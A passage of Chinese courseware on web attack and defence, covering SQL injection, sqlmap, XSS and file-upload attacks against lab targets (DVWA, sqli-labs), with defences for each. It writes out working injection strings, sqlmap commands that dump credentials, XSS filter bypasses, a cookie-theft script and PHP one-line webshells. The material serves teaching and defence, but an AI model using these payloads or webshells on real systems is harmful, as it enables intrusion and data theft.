《网络攻击与防范》课件-第11章-Web攻防_第1页
《网络攻击与防范》课件-第11章-Web攻防_第2页
《网络攻击与防范》课件-第11章-Web攻防_第3页
《网络攻击与防范》课件-第11章-Web攻防_第4页
《网络攻击与防范》课件-第11章-Web攻防_第5页
已阅读5页,还剩97页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

第11章

Web攻防11内容安排SQL注入攻防【渗透工具】SQLmapXSS攻防文件上传攻防命令注入攻防211.1SQL注入攻防SQL注入攻击的概念凡使用数据库开发的应用系统,就可能存在SQL注入。Web页面的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。3SQL注入第一次为公众所知,是一位名叫rfp的黑客在1998年发表了一篇题为《NTWebTechnologyVulnerabilities》的文章,第一次向公众介绍了这种新型攻击。此后,SQL注入漏洞就成了常见安全漏洞之一。2023年6月,MITRE发布了常见软件缺陷前25个最危险的软件漏洞列表CWE(CommonWeaknessEnumeration)。该列表展示了当前最常见和最有影响力的漏洞,其中SQL注入(ID为CWE-89)位列第三。MITRE发布2023版最危险的软件漏洞top25。2023年6月29日,MITRE发布2023CommonWeaknessEnumeration(CWE)最危险的软件安全漏洞Top25榜单。该榜单分析了2021年和2022年美国国家漏洞数据库(NVD)中的43996个CVE公开漏洞数据、每个CVE漏洞的CVSS评分,以及美国网络安全和基础设施安全局(CISA)的已知被利用的漏洞(KEV)目录。11.1SQL注入攻防非营利基金会开放Web应用安全项目(OpenWebApplicationSecurityProject,OWASP)发布了2021年Top10漏洞排名更新,这是自2017年11月以来再次做出变更,注入漏洞仍处于前列。11.1SQL注入攻防11.1.1SQL注入概述1SQL注入攻击的概念SQL(StructuredQueryLanguage)是操作数据库数据的结构化查询语言,而SQL注入(SQLInjection)是一种漏洞。当应用程序在向后台数据库传递SQL查询时,如果为攻击者提供了影响该查询的能力,就会引发SQL注入。6SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。SQL注入攻击的本质,是把用户输⼊的数据当做代码执行。这里有两个关键条件:用户能够控制输入原本程序要执行的代码,拼接了用户输⼊的数据为什么会产生SQL注入攻击呢?原因:Web应用程序对用户输入数据的合法性没有判断或过滤不严⼀个SQL注入的典型例子varShipcity;ShipCity=Request.form("ShipCity");varsql="select*fromOrdersTablewhereShipCity='"+ShipCity+"'";Request.Form:接收Form提交来的数据即变量ShipCity的值由用户提交,在正常情况下,假如用户输⼊Baoding,那么SQL语句会执行:SELECT*FROMOrdersTableWHEREShipCity='Baoding'但假如用户输入一段有语义的SQL语句,比如:Baoding';droptableOrdersTable--11.1.1SQL注入概述SELECT*FROMOrdersTableWHEREShipCity='Baoding';

droptableOrdersTable--

'原本正常执行的查询语句,现在变成了查询完后,再执行一个drop表的操作,而这个操作,是用户构造了恶意数据的结果。11.1.1SQL注入概述11.1.2SQL注入原理SQL注入攻击过程如下:①探测SQL注入点什么地方存在SQL注入点?通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞,一般通过页面的报错信息来确定。②

收集后台数据库信息不同数据库注入的方法、函数不尽相同。注入前,先要判断数据库的类型。判断方法很多,可以输入特殊字符,如单引号,然后根据错误提示判断;还可以使用特定函数来判断,如输入“1andversion()>0”,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,推断后台数据库为MySQL。③

猜解用户名和密码数据库中的表和字段命名一般都是有规律的。通过构造特殊的SQL语句在数据库中依次猜解出库名、表名、字段名、字段数、用户名和密码。④

查找Web后台管理入口可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索可能的登录地址,然后逐一尝试,找到后台管理平台的登录网址。⑤

入侵和破坏后台管理具有较高权限和较多功能,使用已破译的用户名、密码成功登录后台管理平台后,就可以进行破坏,如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。11.1.2SQL注入原理11.1.3SQL注入分类根据注入点输入的参数,可将SQL注入方式大致分为两类:数字型注入字符型注入①

数字型注入当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。数字型注入更多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8and1=1,则会推导为string类型,这是弱类型语言的特性。对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。11.1.3SQL注入分类例如:对于SQL语句输入?id=xand1=1时,页面运行正常输入?id=xand1=2时,页面运行错误说明此SQL注入为数字型注入。select*from<表名>whereid=x可以使用xand1=1和xand1=2来判断:11.1.3SQL注入分类②

字符型注入

当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。例如:SQL语句

select*from<表名>whereid=‘x’可以使用x’

and‘1’=‘1

和x’

and‘1’

=‘2进行测试当输入?id=x’

and‘1’=‘1时,页面正常当输入?id=x’

and‘1’=‘2时,页面报错说明存在字符型注入。11.1.3SQL注入分类按照数据请求方式来分类①

GET注入②

POST注入③

Request注入④

HTTP头注入⑤

Cookie注入11.1.4SQL注入方式SQL注入主要包括基于错误信息的注入、联合查询注入、基于布尔的盲注和基于时间的盲注等方式。①

基于错误信息的注入基于错误的注入攻击是指攻击者通过输入非法的数据,使得SQL语句出错而获得敏感数据信息,属于主动攻击的一种。即在可以进行SQL注入的位置,调用特殊的函数,利用函数执行出错并输出错误结果来获取数据库的相关信息。报错注入利用条件是网站开启了SQL报错日志功能,否则无法使用报错注入,具有一定的局限性。11.1.4SQL注入方式①

基于错误信息的注入基于错误信息的注入,可以利用extractvalue()和updatexml()来获取相关信息。extractvalue(‘XML_document’,‘Xpath_string’)会从目标XML文件中返回所包含查询值的字符串。XML_document:目标XML文件名;Xpath_string:在XML中查询的字符串。当Xpath_string不正确就会报错,如果页面回显SQL报错信息就可以得到想要的信息。在Xpath中插入~(ASCII码0x7e)和^(ASCII码0x5e)等特殊字符是非法的,会产生报错。这些特殊字符是报错注入的关键,当报错内容为SQL语句时,SQL解析器会自动解析该SQL语句,造成了SQL语句的任意执行。SQL注⼊靶场sqli-labs项目地址:/Audi-1/sqli-labs一个比较全的SQL注入靶场环境DVWA项目地址:/ethicalhack3r/DVWA经典的综合漏洞靶场环境webforpentester官网地址:/exercises/web_for_pentester/course常⻅Web漏洞的靶场环境手工注入必备工具Hackbar11.1.4SQL注入方式①

基于错误信息的注入利用extractvalue()报错注入,爆数据库名、表名等?id=1'unionselect1,2,

extractvalue(1,concat(0x7e,(selectdatabase()))),3--+11.1.4SQL注入方式②联合查询注入UNIONSELECT联合查询,手工注入经典语句,作用是在后面通过UNION把要恶意注入语句接上去,带入数据库进行查询。使用联合查询注入的前提是要进行注入的页面必须有显示位。联合查询注入是使用UNION合并两个或多个SELECT语句的结果集,所以两个及以上的SELECT必须有相同列,且各列的数据类型也都相同。当确定注入点和显示位后,可用下列输入来获取信息。先用orderby判断字段数(列数),再使用union联合查询?id=1’orderby1--+此时页面正常,继续换更大的数字测试?id=1’orderby10--+此时页面返回错误,更换小的数字测试......二分对半查找,以确定字段数,字段数是3。11.1.4SQL注入方式②联合查询注入?id=-1'unionselect1,2,3--+页面显示了两个数字2,3这两个数字就是注入点的回显位置通过在回显位置构造payload,得出想要信息。?id=-1'unionselect1,version(),database()--+注意:使用union联合查询时想要查询的数据回显,则需要第1个查询结果为空。即select1unionselect2,1查询的结果为空时,才会去查询2想要的信息。11.1.4SQL注入方式③基于布尔的盲注盲注是指在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。即在SQL注入过程中,SQL执行后不回显到前端页面,也就是前端页面没有显示位,不能返回SQL语句执行错误的信息。但是输入正确和错误时,页面显示的内容存在差异。基于布尔的盲注就是注入后根据页面返回值(True或者False)来得到数据库相关信息(如数据库名、表名、字段名等)的一种方法。基本思想就是通过判断语句来猜解,如果判断条件正确则页面显示正常,否则报错,如此直到猜对。11.1.4SQL注入方式③基于布尔的盲注在SQL注入靶场sqli-labs中,打开sqli/Less-8的文件夹,打开index.php文件。该页面的参数是id,id输入类型为数值型注入之前要判断是否可以注入在地址栏末尾输入?id=1输入字符型?id=’1’正确页面错误页面11.1.4SQL注入方式③基于布尔的盲注然后判断下列输入是否可以注入:?id=1and1=1--+:返回正确网页?id=1and1=2--+:返回正确网页然后尝试下面的注入方式:?id=1'and1=1--+:返回正确网页?id=1'and1=2--+:返回错误网页通过上面的探测,说明此处可以注入,并且注入需带上单引号,与变量的单引号形成闭合,属于字符型注入。11.1.4SQL注入方式例:猜测数据库名长度③基于布尔的盲注输入语句猜测数据库长度,猜对页面显示正常,猜错则无法跳转到正确页面。这里的判断借用and判断,真真为真,有假则为假。?id=1'and(length(database())>5)--+然后采用二分法继续进行猜测,选取一个数字,使用大于和小于的方式逐渐缩小范围。最后猜测出数据库名称的长度是8(当前的数据库是security,长度刚好是8)。11.1.4SQL注入方式③基于布尔的盲注猜测数据库名?id=1'and(ascii(substr(database(),1,1))>100)--+猜测当前数据库中数据表个数?id=1'and(selectcount(table_name)from information_schema.tableswhere table_schema='security')>8--+11.1.4SQL注入方式④基于时间的盲注当布尔型注入没有结果(页面显示都正常)时,就很难判断注入的代码是否被执行,即这个注入点存不存在?这时基于布尔的盲注就无法发挥作用了。基于时间的盲注便应运而生,所谓基于时间的盲注,就是根据Web页面返回的时间来判断该页面是否存在SQL注入点。基于时间的盲注常使用延时函数sleep()和if(exp1,

exp2,

exp3)。sleep(n)表示暂停n秒再返回结果;if(exp1,

exp2,

exp3)为判断语句,如果exp1正确就执行exp2,否则执行exp3。11.1.4SQL注入方式例如:猜解当前数据库名的长度,如果长度大于5就会延时5s,语句如下:④基于时间的盲注?id=1'andif(length(database())>5,sleep(5),0)#猜解当前数据库中数据表的个数?id=1'andif((selectcount(*)from information_schema.tableswheretable_schema=database())>3,sleep(5),0)#11.1.5SQL注入攻击自动化工具SQLMap简介SQLMap是一款自动化检测与利用SQL注入漏洞的免费开源工具。完全支持MySQL、Oracle、PostgresSQL、IBM

DB2、MicrosoftSQLServer、MicrosoftAccess、

SQLite、Firebird、Sybase、SAPMaxDB和

HSQLDB数据库管理系统。完全支持4种SQL注入技术:布尔型盲注、时间型盲注、报错型注入和UNION查询注入。官网:/项目地址:/sqlmapproject/sqlmap11.1.5SQL注入攻击自动化工具SQLMap基本操作检测是否存在SQL注入查看基本信息-u

"/sqli-labs/Less-1/?id=1"#查看当前数据库-u

"/sqli-labs/Less-1/?id=1"

--current-db#查看当前用户-u

"/sqli-labs/Less-1/?id=1"

--current-user#获取数据库banner信息-u

"/sqli-labs/Less-1/?id=1"

-b#获取主机名-u

"/sqli-labs/Less-1/?id=1"

--hostname11.1.5SQL注入攻击自动化工具SQLMap基本操作查看基本信息#检测当前用户是否是高权限用户-u

"/sqli-labs/Less-1/?id=1"

--is-dba#查看所有用户-u

"/sqli-labs/Less-1/?id=1"

--users#查看所有数据库-u

"/sqli-labs/Less-1/?id=1"

--dbs11.1.5SQL注入攻击自动化工具SQLMap基本操作查看基本信息#查看当前数据库下的表信息-u

"/sqli-labs/Less-1/?id=1"

-D'security'--tables#查看当前数据库下的表信息-u

"/sqli-labs/Less-1/?id=1"

-D'security'

-T'users'--columns#查询users表下所有username和password列的字段信息-u

"/sqli-labs/Less-1/?id=1"

-D'security'

-T'users'-C

'username,password'--dump11.1.6SQL注入攻击的防范一般的防火墙对SQL注入攻击是没有任何作用的,要实现对SQL注入的防范,需要从以下几方面着手:①

分级管理对用户分级管理,严格控制用户的权限。对普通用户,禁止给予数据库建立、删除、修改等相关权限,从而减少SQL注入对数据库的安全威胁。②

参数传值禁止将变量直接写入到SQL语句,必须通过设置相应的参数来传递相关的变量。例如数据输入不能直接嵌入到查询语句中,同时要过滤输入的内容,以过滤掉不安全的输入数据。11.1.6SQL注入攻击的防范③

基础过滤与二次过滤对用户输入进行检查,对于单引号、双引号、冒号等字符进行转换或者过滤,从而有效防止SQL注入。然后根据程序的功能及用户输入的可能性进行二次过滤,以确保系统的安全性。④

使用安全参数SQL数据库为了有效抑制SQL注入攻击的影响,在进行SQLServer数据库设计时设置了专门的SQL安全参数,在程序编写时应尽量使用安全参数来杜绝注入式攻击,从而确保系统的安全性。11.1.6SQL注入攻击的防范⑤

漏洞扫描系统管理员可以通过采购一些专门系统的SQL漏洞扫描工具,通过专业的扫描工具,可以及时的扫描到系统存在的相应漏洞。⑥

多层验证在客户端和系统端(或服务器端)都进行有效的验证防护,访问者的数据输入必须经过严格的验证才能进入系统,验证没通过的输入直接被拒绝访问数据库,并且向上层系统发出错误提示信息。此外,对数据库信息加密,可以防止攻击者轻易得到数据库信息。11.2XSS攻防11.2.1XSS概述跨站脚本攻击(CrossSiteScripting)缩写为CSS,但这与层叠样式表(CascadingStyleSheets,CSS)的缩写一样,为了避免混淆,将跨站脚本攻击缩写为XSS。XSS漏洞可以追溯到上世纪90年代,大量的网站曾遭受XSS漏洞攻击或被发现此类漏洞,如Twitter、Facebook、MySpace、新浪微博和百度贴吧等。根据OWASP公布的2021年统计数据,在Web安全威胁前10位中,XSS被划入注入漏洞,排名第3。11.2XSS攻防XSS定义XSS是一种网站应用程序的安全漏洞,是代码注入的一种。攻击者利用网页开发时留下的漏洞,通过巧妙的方法注入恶意代码到网页,当用户浏览该页时,恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如cookie窃取等。恶意代码通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、Flash或者甚至是普通的HTML。危害巨大,如劫持用户会话、插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫,甚至破坏网站、修改路由器配置信息等。11.2.2XSS攻击原理超文本标记语言(HyperTextMarkupLanguage,HTML)通过将一些字符特殊地对待以区别文本和标记。例如,小于符号(<)被看作是HTML标签的开始,<title>与</title>之间的字符是页面的标题等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。11.2.2XSS攻击原理①

发现XSS漏洞目前,浏览的网页都是基于HTML创建的,XSS攻击正是通过向HTML脚本代码中加入恶意的脚本实现的,HTML规定的脚本标记是:<script>和</script>,在没有过滤字符的情况下,只要格式正确的脚本标记就可以触发XSS。例:用户要在Web页面里显示图片,就需要使用<img>标记,格式为<imgsrc=“/xss.gif”>,由于浏览器对src属性所赋的值是否正确并不进行验证,这就给了攻击者可乘之机,如<imgsrc=“javascript:alert(‘HELLO’);”>,若浏览器没有进行过滤就会解释该标记并显示,从而触发XSS攻击。11.2.2XSS攻击原理②

注入恶意代码注入恶意代码的目的是当被欺骗者访问了含有这段恶意代码的网页时,能实现攻击者的攻击目的。例:获取Cookie的典型代码为:javascript:window.location="/cgi-bin/cookie.cgi?"+document.cookiewindow.location:从一个网页自动跳转到另一个网页;document.cookie:读取Cookie信息。javascript:window.location="/cgi-bin/cookie.cgi?"+document.cookie网站对接收用户输入的网页中的<、>、’、”等特殊字符进行了过滤,就需要使用编码形式进行注入。11.2.2XSS攻击原理③

欺骗用户访问当攻击者把恶意代码插入到网页中后,接下来要做的事情就是诱骗目标用户来访问该恶意页面,“间接”通过这个目标用户来完成攻击者的目的。11.2.3XSS分类结合XSS注入位置以及触发流程之间存在的差异性,可以将XSS攻击划分为三种类型:反射型存储型DOM-based型DOM(DocumentObjectModel)即文档对象模型,反射性和DOM-based型可以归类为非持久型XSS攻击,存储型可以归类为持久型XSS攻击。非持久型XSS攻击是一次性的,仅对当次的页面访问产生影响持久型XSS攻击会把攻击者的数据存储在服务器端,攻击行为将伴随攻击数据一直存在

反射型XSS攻击步骤为什么叫反射型XSS呢?因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等方式反射回来的。攻击者用户正常服务器恶意服务器①发送带有XSS恶意脚本的链接②用户点击了恶意链接,访问了目标服务器。③目标服务器将XSS同正常页面返回到用户浏览器。④用户浏览器解析了网页中的XSS恶意代码,向恶意服务器发送窃取数据。⑤攻击者从自己的网站中获取到用户提交的信息。反射型XSS攻击-DVWA靶场实践DVWA可以进行SQL注入、XSS、CSRF、文件上传等漏洞的演练,并提供了多个安全演练级别,可以逐步提高Web渗透技术。DVWA是一套开源的系统,由PHP和MySQL开发的,使用时首先需要搭建一个支持PHP的Web服务器,如phpStudy;然后在对DVWA靶机配置。反射型XSS攻击-DVWA靶场实践Low级别反射型XSS等级为Low的源代码array_key_exists()函数用于检查某个数组中是否存在指定的键名,如果键名存在,则返回true,如果键名不存在则返回false。Low级别的代码只判断name参数是否为空,如果不为空就直接显示出来,没有对name参数做任何的过滤和检查,存在非常明显的XSS漏洞。当输入<script>alert(“Iamahacker”)</script>提交后,就直接执行了JavaScript代码反射型XSS攻击-DVWA靶场实践Medium级别源码中采用str_replace()函数对“<script>”做了一次过滤,注意str_replace()函数是区分大小写。因此,当采用双写或者大写是可以绕过该过滤的。在What'syourname?输入框内输入:<script>alert(123)</script>,提交反射型XSS攻击-DVWA靶场实践Medium级别这里可以直接大写绕过,在输入框内输入:

<SCRIPT>alert(“123”)</SCRIPT>也可采用双写绕过,在输入框内输入:

<sc<script>ript>alert("hacker")</script>反射型XSS攻击-DVWA靶场实践High级别preg_replace()函数执行一个正则表达式的搜索和替换。High级别的代码使用了正则表达式直接把<*s*c*r*i*p*t给过滤了,*代表一个或多个任意字符,i代表不区分大小写。所以,<script>标签在这里将无法使用。反射型XSS攻击-DVWA靶场实践High级别注入方法:可以通过img或body等标签的事件或者iframe等标签的src注入恶意的JavaScript代码。例如:输入<imgsrc=1onerror=alert("hacker123")>当图片显示错误时,则执行alert("hacker123"),由于设置src=1肯定出错,alert语句得以执行。反射型XSS攻击-DVWA靶场实践High级别执行完后查看客户端网页源码,可以看到注入代码插入到了页面中。反射型XSS攻击-DVWA靶场实践Impossible级别htmlspecialchars()函数用于将字符串中的特殊字符(如<、>等)转换为HTML实体,防止浏览器将其作为HTML元素。这样就过滤了输入中的任何脚本标记语言,从源头上把XSS攻击的可能性降到最低。

存储型XSS攻击步骤为什么叫存储型XSS呢?因为这种攻击方式会将提交的恶意代码存储在Web应用的后台数据库中。一般被认为是高危或严重级风险。攻击者用户正常服务器恶意服务器①攻击者在目标服务器上构造XSS恶意脚本,保存在数据库中②用户在网站登录状态下,访问了目标服务器,查看了存在恶意脚本页面③目标服务器将XSS同正常页面返回到用户浏览器。④用户浏览器解析了网页中的XSS恶意代码,向恶意服务器发送窃取数据。⑤攻击者从自己的网站中获取到用户提交的信息。存储型XSS攻击-DVWA靶场实践Low级别存储型XSS攻击,采用了一个留言板功能,

用户的留言会被保存并展示出来。可过滤SQL语句的特殊字符,但没有做其他任何处理,很容易导致触发XSS攻击存储型XSS攻击-DVWA靶场实践Low级别例如在Message直接输入弹窗代码,并提交。

<script>alert(“test”)</script>已经将有攻击的脚本数据传到了数据库,刷新网页或者只要任何人访问该网址,都会触发,因此存储型XSS比反射型XSS危害更严重。存储型XSS攻击-DVWA靶场实践Medium级别在Name和Message两处提交框输入:<script>alert(“111”)</script>,页面不再弹框,而是直接将输入的内容去掉标签直接输出,因此存在过滤。存储型XSS攻击-DVWA靶场实践Medium级别可以通过大写或双写绕过存储型XSS攻击-DVWA靶场实践Medium级别通过双写绕过,并获取cookie,Name框输入:<scr<script>ipt>alert(document.cookie)</scr<script>ipt>,存储型XSS攻击-DVWA靶场实践High级别name采用正则表达式过滤script标签,双写、大写或大小写混写不再有效,可以采用其他标签方式绕过。存储型XSS攻击-DVWA靶场实践High级别在name提交框输入代码:<inputonfocus=”alert(document.cookie);”>,获取Cookie信息Impossible级别name和message都进行了相同的多重过滤,大大降低了被XSS攻击的可能性。存储型XSS攻击-DVWA靶场实践Impossible级别

DOM-based型XSS攻击DOM-basedXSS漏洞是基于文档对象模型的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM-basedXSS漏洞。DOM-basedXSS是通过URL传入参数去控制触发的,其实也属于反射型XSS。11.2.4XSS攻击的防范XSS攻击目标是什么?最主要目标不是Web服务器本身,而是登录网站的用户。XSS攻击主要是由程序漏洞造成的,要完全防止XSS安全漏洞主要依靠程序员较高的编程能力和安全意识,当然安全的软件开发流程及其他一些编程安全原则也可以大大减少XSS安全漏洞的发生。因此,针对XSS攻击的防范,需要从普通浏览网页用户和Web应用开发者两方面进行。11.2.4XSS攻击的防范普通浏览网页的人员①

在网站、邮箱等软件中要避免打开可疑的链接,尤其是看上去包含了超文本标记语言脚本代码时更不能轻易打开。②启用浏览器XSS筛选器。XSS筛选器可检测URL和HTTPPOST请求中的JavaScript。打开浏览器,在最菜单栏点击【工具】→【Internal选项】→【安全设置】→【自定义级别】,在大约中间位置,启用XSS筛选器,并确定。③

尽量避免访问提供免费黑客工具、破解软件和不雅照片等站点。11.2.4XSS攻击的防范Web应用开发人员①

不信任用户提交的任何内容,对所有用户提交内容进行可靠的输入验证。对URL、查询关键字、HTTP头、REFER、POST数据等,仅接受指定长度范围内、采用适当格式和采用所预期的字符的提交内容,对其他的一律过滤尽量采用POST而非GET提交表单对“<”、“>”、“;”和“””等字符做过滤任何内容输出到页面之前都必须加以编码,避免把htmltag显示出来11.2.4XSS攻击的防范②

实现Session标记(sessiontokens)、CAPTCHA(验证码)系统或者HTTP引用头检查,以防功能被第三方网站所执行,对于用户提交信息的中的img等连接,检查是否有重定向回本站、不是真的图片等可疑操作。Web应用开发人员③

Cookie防盗。避免直接在Cookie中泄露用户隐私,例如email、密码等,通过使Cookie和系统IP绑定来降低Cookie泄露后的危险。④

确认接收的内容被妥善地规范化,仅包含最小的、安全的Tag(没有JavaScript),去掉任何对远程内容的引用(尤其是样式表和JavaScript),使用HTTP-only的Cookie,避免Cookie被脚本读取。11.3文件上传攻防11.3.1文件上传概述文件上传(FileUpload)是大部分Web应用都具备的一个功能,利用用户上传附件、分享图片/视频等。正常的文件一般是文档、图片、视频等,Web应用收集后存入后台,需要时再调出来返回。文件上传漏洞是Web攻击中经常用到的一种漏洞形式,是由于程序开发缺陷及后端服务器检测规则缺失或不严格而导致的安全问题。攻击者利用该漏洞可以将包含可执行恶意代码或脚本的文件上传到服务器。当恶意文件(如WebShell)在服务器端得到解释执行,会触发会话劫持、敏感数据窃取、数据破坏等恶意操作。文件上传漏洞产生的原因主要原因是服务器端代码没有对客户端上传的文件进行严格的验证和过滤。包括:缺少对文件类型和文件名的检测,如未禁止及验证脚本类型文件的上传,攻击者可以上传恶意脚本文件至服务器上触发执行缺少适当的解析规则对文件内容进行验证,例如未检查文件内是否包含恶意代码,攻击者便可以上传包含恶意代码的文件服务器上传规则配置不当,例如将上传的文件保存在可执行文件的目录中,导致上传的文件可以作为可执行程序在服务器上运行;例如:文件名为xxx.php%00.jpg,有什么问题?解:%00为十六进制的0x00字符(NULL),对于服务器来说,%00为截断字符,在解析时该字符及后面的字符会被丢弃,文件名就变成了xxx.php11.3.2文件上传漏洞攻击方法一般来说文件上传过程中检测部分由客户端JavaScript检测、服务端Content-Type类型检测、服务端path参数检测、服务端文件扩展名检测、服务端内容检测组成。但这些检测并不完善,且都有绕过方法。①

客户端验证绕过客户端验证是在前端页面编写JavaScript代码对用户上传文件的文件名进行合法性检测。其原理是在载入上传的文件时使用JavaScript对文件名进行校验,如果文件名合法,则允许载入,否则不允许。11.3.2文件上传漏洞攻击方法①

客户端验证绕过方法:攻击者使用抓包软件拦截HTTP请求,并修改请求内容即可绕过。例如:先把木马文件改成hacker.gif的合法文件,成功载入到等待上传区,然后点击发送上传请求用BurpSuite将上传请求拦截后将文件名改回hacher.php再发送给服务器,则实际上传的文件后缀名为.php实现了对客户端验证的绕过。注意:如果HTTP请求修改前后的文件名长度发生了变化,那么在请求头中Content-Length的值需要修改。例如:如果修改前文件名为hacker.gif,正文长度为180,修改后文件名为123.php,少了3个字符,Content-Length要改为177,否则会上传失败。任何客户端验证都是不安全的。客户端验证是防止用户输入错误而进行的输入有效性检查,服务器端验证才可以真正防御攻击者。11.3.2文件上传漏洞攻击方法②

服务器端MIME检测绕过MIME(MultipurposeInternetMail

Extensions,多用途互联网邮件扩展类型)是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。在HTTP请求头存在一个Content-Type字段,它规定着文件的类型,即浏览器遇到此文件时使用相应的应用程序来打开。在上传时,服务器端一般会对上传文件的MIME类型进行验证。MIME验证是一种白名单验证方法,通过MIME可以区分数据的类型,从而判断上传的文件是否合法。11.3.2文件上传漏洞攻击方法②

服务器端MIME检测绕过MIME验证也可以被中间人攻击。攻击者用抓包软件拦截到上传文件的请求时,如上传文件的Content-Type是application/x-php类型,对于有MIME类型验证的服务器这样的上传文件肯定上传不了。但是如果将Content-Type值改为image/jpeg,即可成功绕过该验证上传文件。。11.3.2文件上传漏洞攻击方法③

服务器端黑名单与白名单验证绕过什么是黑名单和白名单?黑名单过滤是在服务器端定义了一系列不允许上传的文件扩展名。白名单过滤是在服务器端定义了一系列允许上传的文件扩展名。绕过黑名单检测的方法如下:①找到Web开发人员忽略的扩展名,如*.cer②代码没有对扩展名进行大小写转换检测,则可以上传如AsP、Php等这样扩展名的文件;③Windows系统,可以上传如“*.asp.”或“*.asp(此处有空格)”的文件名,解析时Windows会自动去掉文件名后的点和空格。11.3.2文件上传漏洞攻击方法③

服务器端黑名单与白名单验证绕过白名单拥有更好的防御机制,但可以利用文件包含漏洞或者Web服务器中存在的解析漏洞绕过。①老版本的IIS中存在目录解析漏洞,如果网站目录中有一个/.asp/目录,那么此目录的一切内容都会被当作asp脚本来解析②IIS在解析文件名时可能将分号后的内容丢弃,那么就可以在上传时给后面加入分号内容来避免黑名单过滤,如a.asp;jpg③Apache服务器也存在解析漏洞,上传如a.php.rar或a.php.gif类型的文件名,可以避免对于php文件的过滤机制。Apache在解析文件名时是从右向左读,如果遇到不能识别的扩展名则跳过,rar等扩展名是Apache不能识别的,所以就会直接将类型识别为php,从而达到了注入php代码的目的。11.3.2文件上传漏洞攻击方法④

截断上传攻击截断上传攻击的核心是“%00”字符,也被称为URL终止符,通俗的讲就是如果URL中包含这个字符,那么这个字符之后的所有内容都会被丢弃。截断上传攻击在HTTP请求中同样适用。例如网页有一个文件上传模块,在上传一张普通图片后,得到“如果要得到flag,必须要上传PHP文件!”的提示。而上传一个xxx.php文件,提示.php是不被允许的文件类型,仅支持上传jpg、gif、png后缀的文件。怎么办?方法:可以使用截断攻击,先上传一个xxx.php.jpg的文件,在上传时将请求拦截,用BurpSuite的hex视图将上传路径的xxx.php后的%20(空格)改成URL终止符%00再上传,即可成功!11.3.2文件上传漏洞攻击方法⑤

服务器端内容检测绕过服务器端内容检测包括文件头检测、文件大小检测等。文件头检查主要是检测文件内容开始处的文件幻数,幻数是一个特定的十六进制值,用于指代文件的类型。针对文件头检测,通过在文件开始中添加正常文件的标识或其他关键字符绕过。类型头标识jpgFFD8png89504E470D0A1A0Agif474946383961bmp424D11.3.2文件上传漏洞攻击方法⑤

服务器端内容检测绕过服务器端内容检测包括文件头检测、文件大小检测等。如果服务器端采用getimagesize()函数进行图像信息判断,若上传的不是图片文件,那么getimagesize()就获取不到信息,则不允许上传。getimagesize()函数用来获取图像的大小。可以通过Linux合成图片木马,方法为:catimage.jpgwebshell.php>image.php再使用getimagesize()对image.php检测就可以获取图片信息,且文件后缀php也能被解析为脚本文件,从而绕过getimagesize()的限制。11.3.3文件上传漏洞攻击实例以DVWA靶场的文件上传为例进行介绍.Low级别Low级别对上传文件的类型、内容等没有进行任何的过滤检查,直接将文件存储在“hackable/uploads/”路径下。因此可以直接上传一个一句话木马文件进行攻击。新建一个文件1.php,并上传文件,文件内容如下:<?php@eval($_POST['test']);?>上传木马文件成功!11.3.3文件上传漏洞攻击实例Low级别得到URL:/dvwa/hackable/uploads/1.php使用蚁剑工具即可访问服务端文件目录。使用蚁剑添加数据使用蚁剑访问服务端文件目录11.3.3文件上传漏洞攻击实例Medium级别服务器端代码对文件类型及大小进行了限制,再直接上传php文件则会上传失败,只允许上传jpeg和png类型的文件。例:直接上传1.php文件,无法上传!11.3.3文件上传漏洞攻击实例Medium级别方法:上传php文件,使用BurpSuite进行抓包,将Content-Type修改为允许的文件类如“image/png”并转发出去,文件上传成功!11.3.3文件上传漏洞攻击实例High级别代码检测文件类型和大小,还使用getimagesize()函数读取目标文件的16进制的前几个字符串来判定文件类型。方法1:可以伪造文件头部来绕过此判定,如下:GIF89A<?php@eval($_POST['test']);?>同时将文件命名为1.jpg,上传显示成功!11.3.3文件上传漏洞攻击实例High级别方法2:借助cmd命令将木马文件隐藏在图片的后面用记事本打开新生成的文件可以看到木马加在了最后面此时即可成功上传,但是利用蚁剑工具发现不能连接,因为不是php文件。因此,还需要配合文件包含漏洞使图片格式的一句话木马以php格式运行。11.3.3文件上传漏洞攻击实例Impossible级别代码中对上传的文件以MD5进行了重命名,使用00截断无法绕过过滤规则,并使用Anti-CSRFtoken防护CSRF攻击,还对文件内容进行严格的检查过滤,攻击者无法进行文件上传漏洞攻击。11.3.4文件上传漏洞的防范Web应用程序主要通过服务器端进行解析和运行,因此对于Web系统文件上传漏